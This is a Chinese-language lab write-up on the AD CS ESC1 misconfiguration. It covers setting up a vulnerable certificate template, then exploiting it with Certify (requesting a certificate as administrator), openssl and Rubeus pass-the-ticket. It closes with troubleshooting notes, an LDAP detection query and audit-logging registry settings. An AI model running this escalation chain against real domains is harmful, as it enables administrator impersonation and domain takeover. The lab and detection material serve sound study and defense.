ADCS篇-ESC1

ESC1

参考:

ESC1

搭建:

角色 IP 系统信息
DC01 192.168.198.10 win2019x64-10.0.17763 暂缺 Build 17763
CA01 192.168.198.20 win2019x64-10.0.17763 暂缺 Build 17763
IT01 192.168.198.115 win10x64-10.0.18363 暂缺 Build 18363
  1. 搭建 dc 中规中矩 略

  2. 搭建域内工作机器 略

  3. 搭建配置不当 ESC1 环境

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    打开 mmc 添加/删除管理单元

    image

    添加证书模板 和 证书颁发机构

    image

    复制工作站身份认证模板

    image

    配置模板

    修改模板名为 ESC1

    image

    image

    扩展–> 应用程序策略 –> 加入客户端身份认证

    image

    安全 –> 高级添加 domain users 权限

    image

    image

    image

    image

    至此配置模板结束,此时使用工具检测,会出现如下错误,细节参阅坑点一

    [!] Vulnerable certificate templates that exist but an Enterprise CA does not publish

    配置结束后

    image

利用:

工具:

  1. Rubeus
  2. Certify

通过 Certify 申请证书

Certify.exe request /ca:CA01.adsec.com\adsec-CA01-CA /template:ESC1 /altname:administrator

image

将结果保存为 cert.pem

上条命令结尾已经给出下一步

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

image

不输入密码直接回车,生成 cert.pfx

使用 Rubeus 获取 TGT

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:dc01.adsec.com /ptt

image

利用结束:

image

坑点一

未发布证书导致错误:

[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish

错误如图所示:

image

解决办法:

  1. 打开服务管理器 -> 证书服务器右键 -> 证书颁发机构 -> 选择证书模板 新建选择刚才配置好的模板

    1676460305771

    致谢:略略略

坑点二

在 Rubeus 使用过程中 可能存在:KDC_ERR_CLIENT_NOT_TRUSTED

引用:官方说明

?可能原因(未找到文档说明,但是有效此次实验表现):域内时间不同步。

解决方法:

致谢:自在拉基

image

image

image

刷新组策略

gpupdate /force

image

回到域内机器,进行时间同步

w32tm /resync /computer:dc01.adsec.com

坑点三

在 Rubeus 使用过程中,KDC_ERR_PADATA_TYPE_NOSUPP

引用:官方说明

解决方法:

在 dc 打开组策略

image

image

检测方法:

Tip: OID 1.2.840.113556.1.4.804 (允许位运算)

Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=adsec,DC=local'

CertEntryId = EntryId 则符合条件,不考虑权限,满足ESC1 条件。

查询解析出来的安全描述符 业务表

对于证书模板,模板的 DACL 中的以下 ACE 可能会导致主体具有注册权限:

  • ACE 为主体授予证书注册(Certificate-Enrollment)扩展权限。这个 ACE 授予主体 RIGHT_DS_CONTROL_ACCESS​​ 访问权限,其中 ObjectType​​ 设置为 0e10c968-78fb-11d2-90d4-00c04f79dc5547。此 GUID 对应于 Certificate-Enrollment 权限。
  • ACE 为主体授予证书自动注册 (Certificate-AutoEnrollment)扩展权限。这个 ACE 授予主体 RIGHT_DS_CONTROL_ACCESS​​ 访问权限,其中 ObjectType​​ 设置为 a05b8cc2-17bc-4802-a710-e7c15ab866a249。此 GUID 对应于 Certificate-AutoEnrollment 扩展权限。
  • ACE 为主体授予所有扩展(ExtendedRights)权限。这个 ACE 启⽤ RIGHT_DS_CONTROL_ACCESS​​ 访问权限,其中 ObjectType​​ 设置为 00000000- 0000-0000-0000-000000000000。此 GUID 对应于 ExtendedRights 权限。
  • ACE 为主体授予完全控制(FullControl/GenericAll)权限。这个 ACE 启用 FullControl/GenericAll 访问权限。

开启证书日志审计

HKEY_CURRENT_USER\Software\Microsoft\Cryptography\Autoenrollment AEEventLogLevel 0(用户自动注册)

HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Autoenrollment AEEventLogLevel 0(机器自动注册)

reg add "HKEY_CURRENT_USER\Software\Microsoft\Cryptography\Autoenrollment" /v AEEventLogLevel /t REG_DWORD /d 0
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Autoenrollment" /v AEEventLogLevel /t REG_DWORD /d 0